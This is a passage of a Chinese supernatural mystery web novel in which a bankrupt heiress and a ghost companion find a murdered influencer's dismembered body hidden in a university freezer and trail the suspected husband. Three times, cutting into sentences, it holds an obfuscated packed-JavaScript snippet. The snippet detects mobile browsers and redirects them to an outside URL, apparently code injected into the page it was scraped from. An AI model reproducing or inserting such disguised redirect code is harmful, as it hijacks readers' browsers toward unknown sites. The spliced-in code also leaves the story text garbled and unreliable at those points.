“和白超金镯子的死气是同一种?”涂蓝埙用袖子捂住嘴,小声道。 “不是同一个。”N的眼眸微微眯起,鼻子轻轻一嗅,“一股油漆味。他最近可能沾到鬼了。” 涂蓝埙什么味都没闻到,回过头去,看见男孩跑出店门外,迎向来接他的男人,那男人身穿白衬衫,低头对他一笑,两人保持着一段微小的距离,一同上了辆运动款SUV,那车挺贵的。 男人抬头的瞬间,涂蓝埙愣住了。 那张算是俊秀的脸,温和的眉眼,愁苦微蹙的眉头,以及违和上扬的嘴角。 绝对没错,就是汤伟宁! 18. 18 涂蓝埙皱眉看过去,汤伟宁不是正和小宝孕育着一个孩子吗,还没落胎呢,怎么又多出个儿子来? 而且那小男孩的耳朵和脑袋形状和他一模一样。 这么想着,她的聊天软件有在电脑登录,赶紧给自己发条消息:汤伟宁有兄弟姐妹吗? 几乎是刚发出去,电脑女鬼就回了信:有的,有个双胞胎兄弟,应该叫汤鹏安。 附赠两张截图,一张是汤伟宁的聊天联系人,备注为鹏安,两人只存有一通电话的记录;另一张是汤鹏安的朋友圈,背景是一家三口的合影,最中间的小男孩就是刚刚那个的幼年版本,但脸上没疤。 汤鹏安居左揽住男孩肩膀,是和汤伟宁一个模子刻出来的白瘦长脸,斯文微笑着;右边约是男孩的母亲,长相倒是端正,就是低眉顺眼的。 朋友圈还转了两条鹿城第二医院的公众号,像是工作任务。 没想到汤伟宁和汤鹏安兄弟都挺了不得,一个大学老师,一个医院上班,社会地位很稳嘛。 谁想到汤伟宁在老婆死后利用她的账号发了一笔呢?他做视频抹眼泪的那个房间,装修可比他兄弟家豪华多了。涂蓝埙扁扁嘴,希望汤鹏安能是个本本分分的正常人吧。 想到这,她手指微僵,不对啊,白超是平台头部博主,汤伟宁不是在她死后才发的,白超生前他家就很有钱,只不过那些钱的实际的支配权属于白超自己。 白超死后才不一样,全归汤伟宁了。 涂蓝埙喝了口黑咖啡,苦液从舌尖滚到胃里,她连眉头都不皱一下。约好的销售如期到来,两人——其实是三人,附加一个没声形也不吃喝的N——谈得很愉快。 李销售没想到涂蓝埙这么专业,三言两语就显出是内行,不像是年轻小网店主的样子,棋逢对手颇为惊奇,最后给了不错的渠道福利。 “蓝小姐,您哪所高校毕业的,开网店屈才了呀,我们部门还缺人……”李销售叫着涂蓝埙的假名,打起主意,要是知道她以前旁观学习的是涂氏集团这台大机器运作,岂不要口喷咖啡。 既是吓的,也是笑的。 涂蓝埙飞快签好单子,当他开句玩笑,给着台阶把话推回去,李销售更愉快,一上头打开手机,称呼都改了,“妹妹,我看你注册的网店类型也做实体,我们有仓库物流,你报地方,要是用我们送货上门,给你走内部优惠。” 他这是把她当成背靠大店的了,想在本地找新货源,先抛出艘小船试试水。 否则的话,网仓物流、本地大商超供应和末端网点零售是三件不同的事,她属于最后一种,理论上不归他们公司直接管,怎么可能用得上他们的物流。 “那感情好啊。”涂蓝埙一口应下,“给我留个分销部电话。” “专业,你不简单!”李销售竖大拇指。 她其实不在乎物流员敢不敢来开发区这鬼地方,只是为了谈价,便利店现在是小,但把店做大是未来的潜力空间,她一直很看好自己的。 李销售结了账走人,涂蓝埙没想到事情办这么快,一口闷掉剩下的黑咖啡,心里美了一会,想起旁边的N一直没说话。 是不让他吃东西,所以不高兴了吗? 这不能怪她啊,他非要隐匿形体,别人又看不见他,这边她和销售谈生意,旁边盘子里吃喝一口一口凭空消失算怎么回事。 涂蓝埙主动表示友好,“哎,我看这家店的提拉米苏不错,你要不要来一个?” “不用。”N冷淡一笑,他笑起来比不笑更冷些,但很好看就是了,“你还是操心汤家吧。” 汤家?她反应过来,“你看出什么了。” 刚刚N的确眼睛盯着店门外,随汤家人的车而去,但马上销售推门进来,他就恢复了那种漠不关己的表情,只在涂蓝埙谈判压价的时候,露出一种介于“孺子可教”和“还是稍微嫩了点”的神色。 “接男孩走的那个男人,身上有尸气。” 涂蓝埙没跟上,“湿气?”下一秒恍悟,“你说尸体的尸。” 她就觉得不对嘛,走手术刀杀手路线的夜莺医生怎么改中医了。 一拍大腿,白小句的骨灰在墓地呢,汤家人还能沾什么尸气,当然是白超的。 全部都说通了,白超大概率是被汤家人杀了,所以以前常戴的、埋着陪女儿的金镯上的人气变成死气,接触过尸体的汤某也沾了尸气。 “尸气是尸气,死气是死气,这不是一回事吧?”涂蓝埙说着绕口令。 “不一样,尸气是多次、深度或长时间接触尸体沾上的;死气是被鬼跟着,或者被死者的怨念纠缠沾上的。那个汤家人身上只有尸气,没见死气。” 为表严谨,刚接走男孩的被称为汤家人,但涂蓝埙直觉,出现在鹿农大附近的应该是汤伟宁。 汤伟宁接触过白超的尸体。 但白超的鬼魂,并没有缠着汤伟宁。 “什么叫被怨念纠缠,和被鬼魂纠缠不是连带的吗,鬼就是因为怨念才缠人的哇。”涂蓝埙开始较真。 N斜眸看她,“如果鬼是毒蛇,怨念就是蛇毒,被鬼缠就是字面意义,身边有个灵体跟着;被怨念缠的可能性就很多了,动了死者生前的执念物、撞见死者死亡现场、惊扰死者墓葬……哪怕是陌生人,只要触发媒介,都有可能被怨念缠的。” “反过来,哪怕是死者的夺命仇人,如果很小心没触发媒介,也可能不会被怨念找到。” 涂蓝埙举一反三,“你说的执念物品、死亡现场和墓葬,就是媒介咯。那请问,有什么情况是碰了白超的尸体,却不引发对方纠缠的呢?” 她声音压得很低,但附近新来一桌客人,为了避免引起注意,涂蓝埙打包一份提拉米苏,拉着N回到车里。 N这才回答:“两种可能,要么白超不恨他,但应该是概率很小的。要么,就是白超的鬼魂和尸体远远分离,魂体被控制关押了,所以碰了也引不起反应。” “等等,你刚才说三种接触才会沾尸气,多次和长时间都好理解,深度是什么意思?” “最典型和普遍的,是分尸。” 现在很明了,涂蓝埙把手指头掰得咔咔响,“那白超更不可能不恨他了。” 不谈人是谁杀的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184566|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就说尸气,谁会不恨一个反复、长期接触自己尸体但不报警,或者干脆是给自己分尸的人呢? 甚至汤伟宁还在巧言粉饰白超的“失踪”,以此牟利博同情,背地却弃亡女孤坟不顾,好一个皮里阳秋。 白超的鬼魂一定被困在什么地方了,恨又没办法,所以汤伟宁身上有尸气没鬼气。 “我们都到这了,去鹿农大逛逛吧。”涂蓝埙从空调出风口拿出剩下一小截香屁股,点火熏提拉米苏,开盒拆叉子,双手奉给N。 N冷漠注视她,青烟袅袅里,手却接过打包盒。 # 涂蓝埙低三下四,一是为了白小句,二是为了自己双重安心,N越肯被她拉着来做这勉强算行侠仗义的事,她和他绑定在一块就越有底,起码在不关N自身利益的问题上,他还算有人性不是? 所以当两人被大学校园的刷脸门禁拦住时,N略施小计让他们通关,也算是人性好的表现。 行走在鹿农大校园里,身边路过一张张青春面孔,涂蓝埙拦住一个,问:“同学,请问食品工程科学专业的学院楼往哪走?” 打听清楚食品学院在东区实验楼,涂蓝埙顺藤摸瓜,先在楼底的荣誉展示栏看了圈,汤伟宁的照片赫然其中,是受表彰的优秀青年教师。 她哼一声,转身往楼里走,倒也没人拦,很快将楼内结构摸个清楚。 实验楼分AB两侧,只在三楼互通,A侧主行政和必修课教学,院长和教师办公室都在这,还有课桌黑板的普通教室。 B侧则承担实验楼的本质,半栋楼都是各种实验室,下层是本科生上实验课的地方,上层是研究生自费打工的地方。 涂蓝埙拉着N上下走了一圈,“感觉到什么了吗?” 她得快点,这里一栋楼都归一个学院,对生面孔还是有点不利,N在一旁装空气,“我应该感觉到什么吗。” 正赶上一簇刚下课的学生,冲向食堂的步伐激情昂扬,等他们过去,N抬头,望向走廊天花板一角,“那个方向,有尸气。” 涂蓝埙一看,实验楼B侧,汤伟宁不会把白超的尸体藏学校了吧。 这不禁给人很坏的联想,顾名思义,食品学院的实验室是研究食品的,他们楼前甚至放着超大蛋黄月饼雕塑。 “我好像有思路了。”她捂住胃,“刚才听一个路过的学生说,他们今天去冷藏冷冻室帮老师搬东西了。” 秘密存放尸体的要义是什么? 第一是秘密,第二是存放,这不是废话,汤伟宁必得找个不引人注意,又不会腐败逸出尸臭味和淌烂汤的地方。 比如一个放满大小物品的超大冰箱。 食品学院提供支持功能室很正常,冷室里面储存着师生们每个学期的实验材料和成品。比如新研发出来的饼干,或者新型杀菌方式的酸奶。 它们如果味道不错,最终会以各种方式落到师生及其友人的肚子中。 只不过在过去的日子里,这一批批食品成果可能有一位无人所知的新同伴,一个装在不透明包裹里的人形或非人形。 白超都死了三年了。 19. 19 大约是下课时间,冷藏冷冻室那条走廊人来人往的,旁边还有间器械室,送还器材的学生络绎不绝。 等到最后一波匆匆奔赴食堂的脚步离去,涂蓝埙走出转角处,警惕确认:“你说过你可以处理监控录像对吧,还有开门开锁。” 她藏头露尾倒像个小偷,一点神探的气魄都无,但涂蓝埙可不觉得自己是神探,她就是为了自己安心顺道看一眼,不图钱也不图名,猥琐点好啊。 N冷白色的脸向她偏了两分,不耐地冷笑一声,“命令我?” “不是你先带我去,去做类似的事的吗。我都帮你忙了,你帮帮我又怎么样?”涂蓝埙卡了下,没有把殡仪馆三个字说出来,她还没查明白N和无头尸体是否存在凶害关系呢,可不敢激起他的作案欲望。 走廊清空下来,涂蓝埙扑到门边,熟练拽袖子垫手,耳朵竖听两旁,“快开呀。” 门开了,那道缝刚展开一半,涂蓝埙就挤了进去,一股冷气迎头兜过来,激得她裸露的脖子起鸡皮,见N没进来的意思,也不管他,稍手带上门。 这冷藏冷冻室还怪高级,总面积不大,但分三个区,各种盒子管子样品袋一一陈列,挤得眼花缭乱。涂蓝埙想着汤伟宁藏尸肯定不能挑保鲜,就直奔冷冻区去。 那边温度在零下,她打个哆嗦,专挑外面不透明的大包裹看,倒是不多,分别扒拉过面粉袋子、某型食品用增稠块还有一麻袋不知哪位豪杰买的沉实硬块,袋口匝了一圈线绳密封,外贴“雪山牦牛肉”的广告画,背景蓝天雪山草原依次排列,还附带商家电话。 一圈下来,就是没见可疑尸体。 涂蓝埙泄气,大块的东西都冻在这了,难不成汤伟宁把白超切成很小的块分开放了? 不不不,动动脑子,汤伟宁要在学校公用的地界藏东西,第一诉求肯定是不会被人误拿走,小块头太容易混淆,说不定就被捎带手取错了。 她的目光还是落在那袋“雪山牦牛肉”上,牦牛肉价贵,一般师生不会误拿,而且外面缝有棉线封口,胶带难缠,正常人对开了封的东西可能会好奇占便宜,但没开封又裹得死严实,谁还敢比主人先拆?多不要脸呐。 不仅如此,涂蓝埙总感觉那袋子上的广告贴……有点厚。 用指甲试着一扒,下面果然有货!“雪山牦牛肉”底下贴的是“兴安岭鹿肉”,再下面是“老坛冻酸菜”和“东北大酱块”,一张叠一张比电线杆还夸张,真乃无穷尽也。 涂蓝埙不禁一抽气,高啊,这袋子是最普通的白色胶丝袋,甭管米面粮肉还是服装玩具,十家店有八家用它同款,放在角落绝对不显眼。他每隔一段日子就重新盖一张,别人怕是以为汤老师把前一个拿走,这里换成新的了。 理由都是现成的:买大件东西给家里或亲戚或朋友,冰箱冻不下,寄在这沾沾公家的光啦。 所以袋子里绝对有问题,涂蓝埙从上到下细细摸一遍,隔着袖子,只摸出里面东西包得很紧,略有长条凹凸,但绝对猜不出是什么。应该真是分尸了。 分……尸……了…… 她记起自己在摸什么了。 涂蓝埙的手僵住,一下子觉得里面冻实的硬块突然柔韧起来,仿佛是人的皮肤,但是丝丝寒意渗入手心。 她嗖一下站起来,耳边传来轻轻的嗤笑,N忽然出现在旁侧。 “尸气是不是就从这来的?”涂蓝埙嗓音都在颤。 “不然呢。”N斜睨她一眼。 那个只比人腰高一点的大袋子,是白超,那个视频封面上大气端正的女人,她被贴着“雪山牦牛肉”和“东北大酱块”扔在这,一扔三年,魂不知道去了哪里。 涂蓝埙自诩不是正义使者,也不善良,但她还是会想,人怎么可以这么坏。 她拿出手机,刚按下号码,手腕就被N一把握住,黑皮手套的触感很细腻,禁锢也很牢,“你在做什么。” “报警啊。”涂蓝埙的话被咽回去,她是被尸体激出毛病了,现在报哪门子警,时间地点线索来源一个都没法解释,万万不能把自己搭进去。 一想到“原涂氏集团继承人破产后疑似卷入杀妻分尸案被带入公安局问询”挂上热搜,再配一张她被警察夹在中间的照片,陶思会笑掉大牙的。 “不能报警,算了,我们先走,大不了之后写个匿名举报信。”涂蓝埙拍板,又低头把扒了两下的广告贴按回去。 正待光速离场,忽然传来钥匙开门声,冷藏冷冻室的锁被扭开,厚门吱呀一声,有不止一个脚步声往里进。 一个年轻女声:“这里怎么没关灯啊,汤老师,您先请进。” 然后是汤伟宁的嗓音,很温和,“可能谁不小心忘记了,没关系,你衣服薄,先快进快出吧。” 涂蓝埙矮身在一行陈列架后,抵着两人视线死角,旋转挪步,像极躲猫猫游戏。旁边的N还大喇喇地站在那,单手插兜,眼光凉薄地扫过他们。 是汤伟宁带着个穿裙子的女大学生,他人还蛮绅士,不仅自己提走一袋东西,还伸手接过一只托盘,动作危险但稳,女学生感激一笑,忙去拿另一只托盘,又跑过去给他开门,“谢谢您,汤老师。” 汤伟宁斯文一笑,“免得你跑两趟。” 女大学生脸有些红,但这不是真的怦然心动,只是阅历不多加受宠若惊,她想到汤伟宁的家庭悲剧,看他的目光又多几分天真朴素的同情。 “汤老师我帮您打饭吧,反正我下午不回宿舍。” “啊,谢谢你,但不用了。” 汤伟宁不可能察觉不到,他并未和学生对视,只垂着眼睛,嘴角微微抿出礼貌但自尊的微笑,身板笔挺单薄,无端显得有点破碎。 呦。 真是我见犹怜啊。 涂蓝埙撇嘴,若非见到白胶丝袋子,她还真被这家伙糊弄住了,汤伟宁在学生里人气应该很高吧。只不过也可能会被背后议论几句,怀疑他发死人财。 当代年轻人的八卦意愿是积极的,同理心是丰富的,但思想是活跃的,阴谋嗅觉也是过于敏感的。 汤伟宁师生出了门,涂蓝埙按兵不动,谨防汤伟宁杀个回马枪。 果然,还没过两分钟,汤伟宁又开门进来,这次他不再斯文,直通通大步走到白胶丝袋旁,上下摸索确认一番,这才放心离开。 涂蓝埙从藏身处出来,她刚才看清楚汤伟宁对袋子的表情,有些焦急,又有些紧张,但难掩一种关切缱绻的情绪,看袋子像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184567|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在看老婆,还在侧面摩挲一把。 这怎么可能呢。 虽然里面真的装了他老婆,但他在这演深情个什么劲?怕不是变态吧。 涂蓝埙从冷室出来,汤伟宁已经没了影子,刚刚女生提议帮他打饭,说明他中午不会离开实验楼,也就是在办公室里待着。 进入实验楼A侧,涂蓝埙看见N又睨她一眼,心想,呵,她也不是事事都要求他的,但凡在用脑子不用怪力乱神的方面,她也是很厉害的。 N身上的冷气涌了涌,似是看透她的想法,并不以为然,依然插兜跟在后面。 涂蓝埙拐入走廊时碰到一个快递员,前后脚走向“食品工程系”教师办公室。快递员先敲门,“请问收件人汤老师在吗?” 里面传来汤伟宁的声音,“怎么送到这来了?啊,谢谢。” 办公室里一个中年女声问:“小汤你买啥啦?” 汤伟宁笑:“送人的东西,填错默认地址了,哎,小光怎么拆了,你这小孩……” 中年女老师也笑:“买这个送礼,可不一般啊,你有相中的女孩啦?” 汤伟宁答:“怎么可能,最近有个朋友生孩子,顺手买的。” 涂蓝埙借着办公室门那道缝,看见汤伟宁手里抱着只白绒绒的熊玩偶,不大,长度只有20厘米,但精致得不行,一双孩子气的黑豆眼埋在绒毛里,看着就贵。 旁边办公椅上坐着那头颈带疤的男孩,嘟着嘴不高兴,原来他被大伯或者叔叔接到学校来了。 怪就怪在,汤伟宁离他侄子有点远,虽然目光总落在侄子身上,但半点肢体接触都没有。 他在避忌什么?总不会是对闺女亏了心不敢扫墓,连带着患上小孩过敏症,不愿意接触侄子吧。 说起来,这“小光”身上也是烧伤疤,可能白小句死那天也在场,林棋冰总觉得汤伟宁和这事脱不了关系。 # 回到车里,一路少言寡语的N终于开口,抬眼觑她,“你真准备管这事?” 涂蓝埙摇头如拨浪鼓,“不管,管不起。” 她忙着赚钱呢,可没时间当私家侦探,现在逮到汤伟宁的罪证,直接写封匿名举报信递到公安局啰,就说实验楼冷室里有白超的袋装尸体。 至于有没有的,警察过来一查自有定论。 当然,递信这种事还得麻烦N,她不想留下行迹。 “你怎么确定警察会信会管?” “就算不信,为了破案率也得来一趟吧?查不到我就行呗。” N轻哂,“倒是算得明白,你所谓的正义感,也不过是说说而已,也罢,有一点总比全都没有……”他后面几个字涂蓝埙没听清。 “什么?” N竟出奇耐心,重复一遍,“有一点正义感,总比全无正义感要死得快一些。” 涂蓝埙听懂了,他就是在嘲笑她,而且是很双标地左右互搏:既看不上她不够正义,又讥讽她竟然真的有点子正义。 她就不明白,这事到底怎么戳N的痛处了,一下子从沉默是金变成尖牙利齿,简直比坏脾气的猫还难琢磨。 “我我我,我不陪你去游泳馆了,晚上你自己去吧。”她别过头,也生气了。 20. 20 N又笑了。 以前以为他表情很少,但今天相处下来,竟然丰富得很,只是笑的那几次都没有温度。 尤其是这次,带着些讥讽,带着些凶意,一股冷风吹过涂蓝埙的后脖子。 她若无其事,选择重开一个话题:“我们去买东西吧。” N不语。 涂蓝埙真诚:“给你买张床,要不你连睡觉的地方都没有,还有新的窗帘和毯子,拖把也得换一套,要不直接上洗地机也行……” N破碎的眼珠光芒不明,但没拒绝就是答应。 不,提起买床他还没反应,在她说到拖把和洗地机的时候,他的眉头动了一下。 真的这么喜欢做卫生吗? 不会是经常清理案发现场养成的爱好吧。 附近刚好有一家新整修的家庭式商场,家居五金灯具餐厅一应俱全,来逛的不是研究装潢的新婚夫妻,就是琢磨打扮寝室的大学生。 涂蓝埙推了辆购物车,混入一堆乱跑的熊孩子,直奔售卖床垫的区域,像是要甩掉自己说过的话。 N跟在后面,唇角似笑非笑,眼神却阴阴看向涂蓝埙的背影,迈腿跟上。 这里的床垫都摆在真正的床上,有卧室一角布景,还打着柔和的光,让人看了发困。 便利店二楼还算宽敞,但涂蓝埙的钱包不宽敞,上点档次的床架子都很贵,她决定只买床垫,两张,楼上放一张她睡,楼下仓库清理出来,也放一张给N。 由于后面不打算搭钱置换,买床垫得一步到位,要买就买够舒服的。 涂蓝埙看准一张价格中等的一米五尺寸床垫,坐上去试了试,软硬适中回弹得力,一看就对腰椎非常好。 她抬头,N站在不远处,小刀似的杵在另一张床头边,那上面睡了个来蹭床的大爷,而他像是准备即兴闹鬼。他显然对这些没兴趣。 涂蓝埙见无人注意,“你要来张一样的吗?”但是得各自付钱噢。 N不置可否,涂蓝埙就当他是颈椎僵硬的哑巴,提了货号牌,恰巧被路过的导购小哥看见,凑上来说一句:“您喜欢这张床垫吗?现在有活动哦。” 她惊喜:“是打折吗?” 导购咳了咳,“算是吧,买那一款床垫的话,您在看的这款就是赠品!那一款还在打折,整体算下来比买两张这款只贵一点点。是因为所属系列要整体升级才这么便宜喔。” 他说的“那一款”是张两米二尺寸的双人床垫,表面是雪白的菱格府绸,在被衬得灰扑扑的其他床垫中像只高贵的“白天鹅”。 “它是老高端系列的王牌,舒适性和高质量兼备,解乏助眠,而且怎么折腾都不变形!”导购热情邀请涂蓝埙去试躺,她在上面弹了弹,果然腰椎非常舒适! 只贵一点点,就能抱走这张“白天鹅”床垫。 涂蓝埙可耻地心动了。 导购坏得很:“库存仅有最后一张,您看看?” 旁边有个带小孩子的阿姨也盯上“白天鹅”,凑过来想说话,涂蓝埙当机立断:“我要了!” 她拿好两只不同的提货号牌,有种久违的购物满足感。 最终涂蓝埙和N到收银台时,总消费高得吓人,其中只有一小部分是床垫,大头竟然是最高配的新款洗地机、洗地毯机,还有玻璃清洁器等东西…… 那些全是N挑的,他买东西甚至比破产前的涂蓝埙还夸张,眼皮都不眨一下,直取最贵的。 这价够请一年自带工具的小时工了。 “你不会打算让我掏金子结账吧。”涂蓝埙从牙缝里问。 她手机一响,竟然是银行卡短信,显示余额增加一个六位数,是刚转过来的。恰好能覆盖那些洗地机之类的,还包括了两张床垫,以及他们两个买的所有东西。 N站在一边,用不太善良的目光问涂蓝埙:不去结账等什么呢。 # 家居商场就像时间吞噬器,进去的时候刚下午,出时天已擦黑,不如就地吃晚饭。 在这一片找了个带包厢的饭店,关门点香,涂蓝埙嘱咐服务生不用进来,回头看见一桌子大菜,深觉自己需要伸张名誉权。 在服务生视角,她一人独坐包厢不说,还点了八盘菜两碗米饭还带道甜品,虽然此店风格偏精致,但场面实为壮观。 “透透气,别让人进来闻到一股熏香味。”涂蓝埙走到窗边,玻璃中映出N的身影,他正在夹糖醋里脊,“哎,你究竟有没有影子?怎么一会有一会没的。” N吞下米粒才回答:“和你有什么关系,你不饿吗,吃饭。” “哎哎哎。”涂蓝埙一激灵,又把脸藏在窗帘后面,“你看,那是汤伟宁,他家在隔壁小区。” 倒也不奇怪,不管商场还是饭店,这一片都离鹿城农业大学很近,汤伟宁在这买房特别正常。 她正想回头喊N别吃了,却发现N已经站在她背后,她差点叫出声,N的目光直直穿过夜幕,“他住的这栋楼不对劲,气场很奇怪。” 幽暗中,汤伟宁正领着侄子小光走向单元门,另一个和他长相相同的男人出来迎接,小光扑进那人怀里,那应该就是汤鹏安。 两个外型和服饰都差不多的出挑男人一起领着个孩子,很惹眼,小区里聚众聊天的大妈大爷们都看过去,两人停住打招呼,又一同带小光消失在门内。 他们仨怎么一起上楼了? 这是片高层小区,涂蓝埙忽然想起什么,伸长脖子往另一个方向看,果然两条街外的夜空中有一高楼,顶着一行红字:鹿城第二医院。 “原来二院和鹿农离这么近,兄弟俩把房子买在一栋楼也算合理。对了,你刚才说这栋楼具体哪方面有问题?” 涂蓝埙的话说到一半就截断,她看见汤伟宁又从单元门出来了,不远处一轿车的车灯一亮,他开门探进去取东西,男孩小光也跟着跑出来,被汤伟宁扬扬手赶回去。 男孩蹦跳转身,汤伟宁关了车门跟在小光后面,他远离大爷大妈的那一侧手握着什么东西,看不清楚,但人不会凭空握拳走路。 手机摄像头变焦到几十倍,噪点中他的手持物被修复清晰,涂蓝埙下意识按住拍照键,画面定格,而汤伟宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187927|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本人已经尾行小光进了楼。 他手里是一把银亮银亮的小刀。 “走。”涂蓝埙几乎是冲出包厢门,账已经结清,她嘱咐服务生帮忙打包,等会回来取,然后一阵风地离开饭店,辨了辨方向,朝隔壁小区跑去。 她拿出手机报警,之前不想全管是因为白超已经死了,但现在,汤伟宁这个变态竟然持刀跟着他侄子,而小光全无察觉,人家亲爹汤鹏安甚至就在楼上! “喂,这里是报警中心,请问您遇到麻烦了吗?” 涂蓝埙正想报地址,忽然,那个男孩小光第三次从楼道跑出来,拿着只风筝,楼下聊天的老大娘吆喝一句:“小光啊,这都是电线,大晚上的别放风筝啦,再电着你,明天让你大伯和你爸领你去公园再放啊!” 小光平安无事。 第二个念头是,原来汤伟宁是双胞胎中的哥哥。 小光笑嘻嘻跑远了,是汤伟宁这次没能下手,还是下手对象不是他? 涂蓝埙快速冷静下来,把头发放下来,口罩戴在下巴上,挑了个背对路灯的角度,站到那小区情报中转站附近,听了一会,果然引起注意。 刚刚那位老大娘看她,“小姑娘,你新搬来的?没见过呀。” 她礼貌,“阿姨,我不住这,我是来看房的。我大学快毕业了,想租个房子,我妈我爸非让我先到小区打听打听,先看看环境。” 说着,无奈一笑,扬了扬手机,“哎,这不他俩打电话非逼着我来转一圈吗。” 围一圈的都是大妈大爷,有女有儿,特别能共情“儿行千里母担忧”的心理,涂蓝埙长得又乖,干干净净的,他们一时间纷纷成了她的临时长辈,积极踊跃: “你爹妈说得对!小女孩家的刚出社会,可得打听明白周围都是什么人。” “我们这小区还行,大家基本都认识,这附近的老师和医护住户特别多,也属于高知群体了。” 那位六十来岁但被称为阿姨的老大娘呵呵笑:“我就住身后这栋楼,倒也没什么不好的事,就是……” 她说的是汤伟宁那栋,说到一半有点卡壳,不知如何组织语言,还是旁边一个阿姨口快,压低嗓子,“就是前阵子有一户的女主人找不着了!到现在都没回来,不过我猜没什么大事,最多是个家庭矛盾,小丫头你放心,扯不上违法犯罪哈。” “你怎么知道不违法不犯罪?”有一老头杠她,那阿姨刚要驳回来,就见老头食指往上一指,皱眉瞪眼,“那家又不是第一回丢人了,别人家都不丢,就他家三年丢两个?说不定犯着忌讳啦!” 前面还是法制,后面直接拐到风水迷信,涂蓝埙却听懂了。“丢人”的“丢”是真的“丢”,说的多半就是汤伟宁他们家。 而且听那意思,最近他家又有新的失踪者,是女主人。 如果汤伟宁没有再婚的话,按照老人眼里两兄弟是一家的原则,能被称为女主人的只剩一个。 那个朋友圈背景里低眉顺眼的女人,汤鹏安的妻子,男孩小光的妈妈。 她到底是失踪了,还是“失踪”了? 21. 21 话局还未散,夜空远远滚来两声惊雷,风霎时变向,树叶沙沙如敌伏四方,雨已近。 大妈大爷们顿时散去,嘟囔着:“怎么忽然变天了。” 那中年阿姨还回身问了涂蓝埙一句,“小丫头要不要去我家拎把伞?”涂蓝埙笑着婉拒,阿姨也没再邀,拎着小皮包和买菜袋走进单元门。 楼下只剩涂蓝埙一人一鬼,还是借N的光绕过小区门禁,车停饭店附近了,疾疾走过五分钟脚程的窄路,绕上大街,终于,开门登车的前一秒,一滴雨点砸上涂蓝埙的天灵盖,凉意沁入头发丝。 “哗啦啦”一阵响,雨霎时缀连天地,银灰捷达成了一方可栖身的庇护所,涂蓝埙用手机给电脑发消息:姐妹,查查汤鹏安的老婆,据说失踪了,住址尚景府城九栋一单元。 放下手机,她忽然一拍额头,“菜忘取了,还在饭店呢。” 车里没伞,涂蓝埙就把外套脱下来,罩在脑袋上,一条腿刚跨出车门,衣服就被扯掉,手法轻快准,连根头发丝都没被拉链刮到,转头一看,外套握在N手里。 他表情自然,不像夺了她的“伞”,倒向帮她扫了头顶的灰,施恩似的,“就这么去。” 涂蓝埙忍不住小声:“你变态啊,外面雨下那么大。” 是大得不行,风挡玻璃都被水帘糊成一片,车窗起了雾,她腿刚伸出去两秒就鞋面就湿透,秋夜寒气丝丝渗进来。 什么癖好啊,喜欢看人淋雨? N坦然看回来,外套往她这递了递,“可以穿,但不能用来遮雨。” 说到一半他又收回去了,毫不在意涂蓝埙里面是件很薄的卫衣,“你不想穿的话,我也没意见。或者你拿它挡一挡打包袋也行。” 换句话说,这场雨她淋定了。 糖醋里脊不能挨浇,但是涂蓝埙可以,不光可以,还不浇不行。 你个狗人,不对,狗鬼。涂蓝埙用目光暗暗骂N,却被对方逮个正着,那双破碎的眼珠扫过来,带着点没有温度的笑意,她顿时敢怒不敢言,一把扯过外套,往身后一披。 N:“钱不用还,床垫算我买的。” 涂蓝埙想啐他一口,但表情不由自主明亮一点,关门力度都减小了。 从饭店取回来的是个大袋子,里面餐盒层层叠叠,撑开了袋口,这家店附庸环保之风,餐盒竟然是纸的,一出店门,千点万点雨珠劈头盖脸,涂蓝埙把外套罩在外面,抱着往车里跑。 这下半干变成全湿,她冲进车里的时候,衣衫湿透,头发丝粘着脸皮画波浪,最后一点火气也被淋灭,软软瘫在车座里。 涂蓝埙刚想抽张纸擦擦脸,又被N按下,“别擦,自然干,能留点雨气。” 说着,两根长指伸过来,从她脸侧滑到耳后,发丝被轻轻掖好。不知有意无意,N收手的时候还拂过了她的额头,留下一串比雨更冷的阴凉。 她两眼一瞪看着车顶棚,没有质疑或反抗的气力,他是个活爹,喜欢干什么就干什么吧,“能回去了吧?” N斜靠在车座和车门的角边,他不知道什么毛病,车窗开了半段,雨点飞溅着往里拍,都落在这鬼魂的肩头,良久,一笑:“不能。” 冷风灌得涂蓝埙直打喷嚏,她里面的套头薄卫衣湿透了,衡量再三,还是穿上湿了大半的外套,好歹内衬还剩点干爽的意思,不过两厢水汽传递,摩擦感也开始滞涩,这一身注定是干不透了。 可能是怜悯落汤鸡,N抬起眼皮,“天黑了,去游泳馆,我来开车。” 说完,鬼影消失在原地,涂蓝埙拖着湿漉漉的身体爬到副驾驶,N转瞬出现在驾驶位,车子自动点火发动。 她还想给自己争取点权利:“哎,你会不会速干脱水之类的技能,我衣服还湿着呢。” N耐心得出奇,也气人得出奇:“会,但不能给你用。” 